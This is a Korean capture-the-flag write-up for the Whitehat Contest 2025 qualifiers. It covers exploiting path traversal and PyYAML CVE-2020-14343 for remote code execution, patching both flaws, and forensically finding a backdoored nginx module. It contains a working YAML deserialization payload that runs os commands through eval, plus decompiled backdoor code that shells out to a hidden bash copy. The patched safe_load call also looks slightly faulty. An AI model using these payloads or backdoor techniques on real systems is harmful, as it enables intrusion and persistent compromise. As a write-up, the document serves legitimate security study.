- Published on
Whitehat Contest 2025 Quals Writeup
시나리오 1-1
http://54.180.78.10/download?file= 엔드포인트에서 별도로 파일 전달값을 검사하지 않아 path traversal 취약점이 발생한다. 해당 취약점을 이용하여 문제의 원본 소스 코드를 유출할 수 있다.
FROM python:3.12-slim
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
PIP_NO_CACHE_DIR=1 \
APP_HOME=/app
WORKDIR $APP_HOME
COPY requirements.txt $APP_HOME/requirements.txt
RUN pip install --no-cache-dir -r requirements.txt
COPY . $APP_HOME
RUN FLAG_CONTENT=$(cat $APP_HOME/flag.txt) && \
echo "$FLAG_CONTENT" > "/$FLAG_CONTENT" && \
chmod 400 "/$FLAG_CONTENT" && \
chown root:root "/$FLAG_CONTENT" && \
rm $APP_HOME/flag.txt
RUN useradd -m -u 10000 app && \
chmod 750 -R /app && \
chown -R root:app /app && \
chmod 660 /app/static/css/theme.css
EXPOSE 8001
USER app
CMD ["gunicorn", "--bind", "0.0.0.0:8001", "--workers", "2", "--threads", "2", "--worker-class", "gthread", "--timeout", "30", "app:app"]
flag의 이름을 flag의 내용으로 바꾸고, 루트 디렉토리에 저장하는 것을 확인할 수 있다. 따라서 ls /만 실행한다면 flag를 획득할 수 있다. 또한, 해당 프로그램이 사용하는 패키지를 requirements.txt를 다운받아 확인할 수 있다.
Flask==3.0.3
PyYAML==5.3.1
gunicorn==23.0.0
위와 같이 사용하는 패키지와 그 버전을 확인할 수 있었는데, 취약점이 존재하는 버전의 PyYAML 패키지를 사용하는 것을 확인할 수 있었다. 해당 패키지에 존재하는 취약점은 CVE-2020-14343이다. 취약한 버전의 PyYAML에서 yaml.load() 함수를 사용하면 RCE가 발생할 수 있는 취약점이다. https://github.com/0xStrontium/CTFs/tree/main/HackerNewsBdarija-CTF-2022/loader/loader 위 페이지를 참고하여 공격 코드를 작성한다.
import requests
url = 'http://54.180.78.10/'
data = """
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('os').popen('ls /').read()" ]]]
"""
res = requests.post(url + '/api/theme/preview', data=data)
print(res.text)
그러면 다음과 같은 응답이 온다.
{"ok":"('app\\nbin\\nboot\\ndev\\netc\\nhome\\nlib\\nlib64\\nmedia\\nmnt\\nopt\\nproc\\nroot\\nrun\\nsbin\\nsrv\\nsys\\ntmp\\nusr\\nvar\\nwhitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}\\n',)"}
flag는 whitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}이다.
시나리오 1-2
시나리오 1-1에 존재하는 취약점을 패치하되, 원래 웹 어플리케이션의 기능은 유지해야 한다. files.py에 존재하는 path traversal과 theme.py에 존재하는 PyYAML yaml.load() 취약점을 해결해야 한다. 각각의 파일을 패치하고 기능은 잘 작동하되 취약점은 없어지면 flag를 준다.
files.py
import os
from flask import Blueprint, request, send_file, Response
files_bp = Blueprint("files", __name__)
BASE_DIR = os.path.join(os.path.dirname(os.path.dirname(__file__)), "data")
@files_bp.get("/download")
def download_file():
rel = request.args.get("file", "")
if '/' in rel and not rel.startswith('data'):
return Response("Invalid characters in filename", status=400)
requested_path = os.path.normpath(os.path.join(BASE_DIR, rel))
base_path = os.path.normpath(BASE_DIR)
real_requested_path = os.path.realpath(requested_path)
real_base_path = os.path.realpath(base_path)
if os.path.commonpath([real_requested_path, real_base_path]) != real_base_path:
return Response("Access denied - invalid path", status=403)
if os.path.islink(requested_path) or os.path.islink(real_requested_path):
return Response("Access denied - symbolic links not allowed", status=403)
if not os.path.exists(real_requested_path):
return Response("File not found", status=404)
if not os.path.isfile(real_requested_path):
return Response("Path is not a file", status=400)
try:
return send_file(real_requested_path)
except PermissionError:
return Response("Permission denied - insufficient privileges to read this file", status=403)
except FileNotFoundError:
return Response("File not found", status=404)
except Exception as e:
return Response("Error: {str(e)}", status=500)
'/'가 존재하는데 data로 시작하지 않으면 path traversal로 간주하여 에러 메세지를 보낸다. data로 시작하는 경우를 넣어주는 것은 원래 페이지의 기능인 data/*.json 파일을 가져오는 것을 위해서이다. 혹시 모르니 BASE_DIR 에서 벗어나는 경우를 탐지하고 심볼릭 링크도 방지해 준다.
theme.py
import os
import re
from typing import Any, Dict
from flask import Blueprint, jsonify, request
import yaml
theme_bp = Blueprint("theme", __name__)
APP_ROOT = os.path.dirname(os.path.dirname(__file__))
THEME_CSS_PATH = os.path.join(APP_ROOT, "static", "css", "theme.css")
HEX_COLOR_PATTERN = r'^#[0-9a-fA-F]{6}$'
def validate_color(color_value: str) -> str:
if not isinstance(color_value, str):
return "#336699"
color_value = color_value.strip()
if not color_value:
return "#336699"
if re.match(HEX_COLOR_PATTERN, color_value):
return color_value
return "#336699"
def write_theme_css(colors: Dict[str, str]) -> None:
primary = validate_color(colors.get("primary", "#336699"))
accent = validate_color(colors.get("accent", "#88aadd"))
css = (
":root{\n"
f" --primary: {primary};\n"
f" --accent: {accent};\n"
"}\n\n"
"body{\n"
" background: #ffffff;\n"
" color: #222;\n"
" font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, Noto Sans, sans-serif;\n"
"}\n\n"
"header{\n"
" background: var(--primary);\n"
" color: white;\n"
"}\n\n"
".btn{\n"
" background: var(--accent);\n"
" color: #111;\n"
" border: none;\n"
" padding: 8px 14px;\n"
" border-radius: 6px;\n"
" cursor: pointer;\n"
"}\n"
)
with open(THEME_CSS_PATH, "w", encoding="utf-8") as f:
f.write(css)
@theme_bp.post("/api/theme/preview")
def preview_theme():
body = request.data.decode("utf-8", "ignore")
if len(body) > 2**7:
return jsonify({"error": "Body is too long"})
try:
parsed: Any = yaml.safe_load(body, Loader=yaml.FullLoader)
colors: Dict[str, str] = {}
if isinstance(parsed, dict) and isinstance(parsed.get("colors"), dict):
colors = {
"primary": str(parsed["colors"].get("primary", "#336699")),
"accent": str(parsed["colors"].get("accent", "#88aadd")),
}
write_theme_css(colors)
except Exception:
write_theme_css({"primary": "#336699", "accent": "#88aadd"})
try:
return jsonify({"ok": repr(parsed)})
except Exception:
return jsonify({"error": "Failed to parse YAML"})
yaml.load() 함수를 yaml.safe_load() 함수로 변경한다.
조건을 만족하여 패치를 진행한 경우 flag를 보내준다. flag는 whitehat2025{b8b18dae5b0aed7d538d030604fbaeb6e1ac1960de20e06e01daa21b9627f113}이다.
시나리오 1-3
시나리오 1-1, 1-2 웹 서버의 vmdk 파일을 제공한다. 해당 파일을 FTK Imager를 통해 분석하였다. 일단 공격자가 침투를 한 것이기 때문에 최근 변경된 파일 위주로 파일들을 둘러보았다. 찾았던 수상한 파일은 /bin/.alpha 라는 ELF 파일이었고, 추출해서 IDA로 분석을 했을 때 /bin/bash 역할을 하는 파일이었고, 별도로 공격 코드나 백도어로 추정되는 부분은 보이지 않았다. 따라서 이 파일을 쉘을 사용하지 않는 것처럼 사용하기 위해 공격자가 쉘을 복사해놓은 것이라 생각했고, .alpha를 실행하는 코드가 악성코드/백도어일 가능성이 높다고 생각하였다.
문제의 설명에서는 웹 서버에 백도어가 존재할 가능성을 가지고 있다고 하였으므로, nginx나 python library를 패치해서 백도어를 심어놓았을 가능성을 떠올렸다. 그러나 라이브러리에는 특이한 점을 찾지 못했다. 그러던 중 수정 일자가 다른 파일들에 비하여 굉장히 최근인 nginx 모듈을 찾았다. /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 파일이었다. (그냥 /usr/lib 아래에서 수정일자가 최근인 파일을 뒤져보다가 찾았다.)
unsigned __int64 __fastcall sub_1E96(const char *a1, char *a2)
{
char *v2; // rbx
size_t v3; // rbp
char *v4; // r15
FILE *v5; // rax
FILE *v6; // r14
size_t v7; // r12
size_t v8; // rbp
char v10[1032]; // [rsp+0h] [rbp-448h] BYREF
unsigned __int64 v11; // [rsp+408h] [rbp-40h]
v2 = a2;
v11 = __readfsqword(0x28u);
v3 = strlen(a1) + 24;
v4 = (char *)malloc(v3);
strcpy(v4, "/bin/.alpha -p -c ");
__strcat_chk(v4, a1, v3);
__strcat_chk(v4, " 2>&1", v3);
v5 = popen(v4, "r");
if ( v5 )
{
v6 = v5;
v7 = 4096;
while ( fgets(v10, 1024, v6) )
{
while ( 1 )
{
v8 = strlen(v10);
if ( v7 >= v8 + strlen(v2) + 1 )
break;
v7 *= 2LL;
v2 = (char *)realloc(v2, v7);
}
strcat(v2, v10);
}
pclose(v6);
if ( !*v2 )
strcpy(v2, "Empty command response");
}
else
{
strcpy(a2, "Failed to run command - popen failure");
}
free(v4);
return v11 - __readfsqword(0x28u);
}
/usr/lib/nginx/modules/ngx_http_secure_headers_module.so 파일 코드의 일부인데, 아까 추측하였듯이 /bin/.alpha 를 사용하여 command를 실행하는 것으로 추정되는 부분이 존재했다. 따라서 해당 nginx module이 백도어라고 판단을 했고, 제출한 결과 flag가 맞았다. flag는 /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 이다.